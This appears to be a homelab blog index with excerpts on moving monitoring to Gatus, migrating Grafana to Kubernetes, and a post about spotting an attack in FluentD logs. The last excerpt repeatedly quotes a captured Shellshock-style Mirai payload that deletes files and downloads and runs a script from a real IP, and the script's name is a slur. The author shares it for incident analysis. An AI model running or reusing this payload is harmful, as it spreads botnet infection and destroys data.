Monitoring

Wherein I replace Uptime Kuma on Nomad with Gatus on Kubernetes. This is part 22 of my k8s migration series. For my service monitoring needs, I’ve been using Uptime Kuma for a couple of years now. Please have a look at the repo’s Readme for a couple of screenshots, I completely forgot to make some before taking my instance down. 🤦 My main use for it was as a platform to monitor the services, not so much as a dashboard. To that end, I gathered Uptime Kuma’s data from the integrated Prometheus exporter and displayed it on my Grafana Homelab dashboard. ...

Wherein I migrate my Grafana instance over to k8s. This is part 11 of my k8s migration series. I already wrote about my love for metrics in the companion post about the Prometheus setup, so I will spare you my excitement about pretty graphs this time. 😉 For the Grafana setup, I used the kube-prometheus-stack’s integration of the Grafana Helm Chart. Database setup First step is to setup the database for Grafana. You can also run it locally, without an external database. Then, Grafana uses an SQLite DB. But the Postgres database made more sense to me. This was the first deployment of a production database with CloudNativePG and looked like this: ...

I just had a slight Sunday morning panic. I finished my logging setup yesterday night, and had a look at my FluentD logs this morning to see whether I got any errors or unparsed logs. At the very top of the logs, I got this entry: error="#<Fluent::Plugin::Parser::ParserError: pattern not matched with data '{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget http://192.3.152.183/nigga.sh; chmod 777 nigga.sh; ./nigga.sh'\", \"time\":\"2024-02-11T04:54:25+01:00\"}'>" location= tag=services.traefik.traefik.docker.anon time=1707623665 record="{ \"log\"=>\"{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget http://192.3.152.183/nigga.sh; chmod 777 nigga.sh; ./nigga.sh'\\\", \\\"time\\\":\\\"2024-02-11T04:54:25+01:00\\\" }\", \"logsubstream\"=>\"docker\", \"nomad_job_id\"=>\"traefik\", \"nomad_task_name\"=>\"traefik\", \"nomad_node_name\"=>\"anon\"}" message="dump an error event: error_class=Fluent::Plugin::Parser::ParserError error=\"pattern not matched with data '{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget http://192.3.152.183/nigga.sh; chmod 777 nigga.sh; ./nigga.sh'\\\", \\\"time\\\":\\\"2024-02-11T04:54:25+01:00\\\"}'\" location=nil tag=\"services.traefik.traefik.docker.anon\" time=2024-02-11 03:54:25.149520221 +0000 record={\"log\"=>\"{ :; }; echo ; /bin/bash -c 'rm -rf *; cd /tmp; wget http://192.3.152.183/nigga.sh; chmod 777 nigga.sh; ./nigga.sh'\\\", \\\"time\\\":\\\"2024-02-11T04:54:25+01:00\\\"}\", \"logsubstream\"=>\"docker\", \"nomad_job_id\"=>\"traefik\", \"nomad_task_name\"=>\"traefik\", \"nomad_node_name\"=>\"anon\"}" host=anon level=warning That looked suspicious, to say the least. After some googling for the nigga.sh file, I landed on this page from Akamai. I describes an attack by the Mirai botnet. ...